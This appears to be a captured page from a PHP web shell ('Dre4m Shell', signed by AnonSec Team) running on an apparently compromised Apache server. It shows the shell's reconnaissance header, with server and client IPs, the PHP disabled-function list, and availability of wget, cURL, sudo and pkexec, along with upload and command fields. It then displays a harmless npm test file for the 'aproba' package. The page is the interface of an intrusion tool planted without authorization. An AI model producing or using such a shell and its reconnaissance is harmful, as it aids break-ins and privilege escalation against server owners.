Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.144.97.63
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/npm/node_modules/aproba/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/npm/node_modules/aproba/test/index.js
"use strict"
var test = require("tap").test
var validate = require("../index.js")

function thrown (t, code, msg, todo) {
  validate("OSSF", arguments)
  try {
    todo()
    t.fail(msg)
  }
  catch (e) {
    t.is(e.code, code, msg + e.message)
  }
}

function notThrown (t, msg, todo) {
  validate("OSF", arguments)
  try {
    todo()
    t.pass(msg)
  }
  catch (e) {
    t.fail(msg+"\n"+e.stack)
  }
}

test("general", function (t) {
  t.plan(69)
  var values = {
    "A": [],
    "S": "test",
    "N": 123,
    "F": function () {},
    "O": {},
    "B": false,
    "E": new Error()
  }
  Object.keys(values).forEach(function (type) {
    Object.keys(values).forEach(function (contraType) {
      if (type === contraType) {
        notThrown(t, type + " matches " + contraType, function () {
          validate(type, [values[contraType]])
        })
      }
      else {
        thrown(t, "EINVALIDTYPE", type + " does not match " + contraType, function () {
          validate(type, [values[contraType]])
        })
      }
    })
    if (type === "E") {
      notThrown(t, "null is ok for E", function () {
        validate(type, [null])
      })
    }
    else {
      thrown(t, "EMISSINGARG", "null not ok for "+type, function () {
        validate(type, [null])
      })
    }
  })
  Object.keys(values).forEach(function (contraType) {
    notThrown(t, "* matches " + contraType, function () {
      validate("*", [values[contraType]])
    })
  })
  thrown(t, "EMISSINGARG", "not enough args", function () {
    validate("SNF", ["abc", 123])
  })
  thrown(t, "ETOOMANYARGS", "too many args", function () {
    validate("SNF", ["abc", 123, function () {}, true])
  })
  notThrown(t, "E matches null", function () {
    validate("E", [null])
  })
  notThrown(t, "E matches undefined", function () {
    validate("E", [undefined])
  })
  notThrown(t, "E w/ error requires nothing else", function () {
    validate("ESN", [new Error(), "foo"])
  })
  thrown(t, "EMISSINGARG", "E w/o error works as usual", function () {
    validate("ESN", [null, "foo"])
  })
})

Anon7 - 2022
AnonSec Team